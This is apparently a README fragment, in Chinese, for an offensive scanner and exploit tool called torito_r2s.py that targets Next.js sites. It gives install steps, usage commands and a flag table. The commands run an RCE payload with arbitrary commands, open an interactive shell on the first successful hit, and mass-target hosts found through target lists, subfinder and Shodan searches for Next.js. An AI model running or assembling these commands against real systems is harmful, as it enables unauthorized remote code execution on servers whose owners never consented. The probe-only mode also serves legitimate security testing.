pip install -r requirements.txt--subfinder 的 Subfinder 二进制文件需位于 PATH 中(可通过 Homebrew brew install subfinder 或 Go 安装:go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest;项目:https://github.com/projectdiscovery/subfinder)pip install shodan(已包含在 requirements 中)以及一个密钥:export SHODAN_API_KEY=...,并拥有可用的查询额度python3 torito_r2s.py --help
安全探测(单个目标)
python3 torito_r2s.py -u https://target.com
PoC 确认(侧信道重定向)
python3 torito_r2s.py -u https://target.com --confirm
使用自定义命令进行利用
python3 torito_r2s.py -u https://target.com --exploit-cmd "whoami"
首次命中后打开交互式 Shell
python3 torito_r2s.py -u https://target.com --shell
列表扫描并导出
python3 torito_r2s.py -l hosts.txt -t 40 --confirm --json-out results.json --csv-out results.csv
仅 Shodan(需要密钥和额度)
export SHODAN_API_KEY=your_key
python3 torito_r2s.py --shodan 'http.title:"Next.js"' --shodan-limit 50 --confirm
仅 Subfinder
python3 torito_r2s.py --subfinder target.com --confirm
代理(Burp/Caido)
python3 torito_r2s.py -u https://target.com --proxy http://127.0.0.1:8080 --confirm
通过标准输入管道
cat urls.txt | python3 torito_r2s.py --confirm
--exploit-cmd 或 --shell 时执行利用。| Flag | Description | Default |
|---|
-u, --url URL | 单个目标 URL | — |
-l, --list FILE | 包含目标的文件(每行一个) | — |
--subfinder DOMAIN | 对域名运行 subfinder 并添加结果 | — |
--shodan QUERY | Shodan 搜索(需要具有额度的 SHODAN_API_KEY) | — |
--shodan-limit N | 每次查询的最大 Shodan 结果数 | 100 |
-t, --threads N | 并发数 | 20 |
--timeout SEC | 请求超时 | 10 |
--proxy URL | HTTP/HTTPS 代理 | — |
--confirm | 探测后运行基于重定向的 PoC | off |
--exploit-cmd "CMD" | 使用指定命令运行 RCE 载荷 | — |
--shell, -i | 在首次利用成功后打开交互式 Shell(默认命令为 id) | off |
--json-out FILE | 保存 JSON 结果 | — |
--csv-out FILE | 保存 CSV 结果 | — |
-v, --verbose | 在表格中显示解码后的输出/摘要 | off |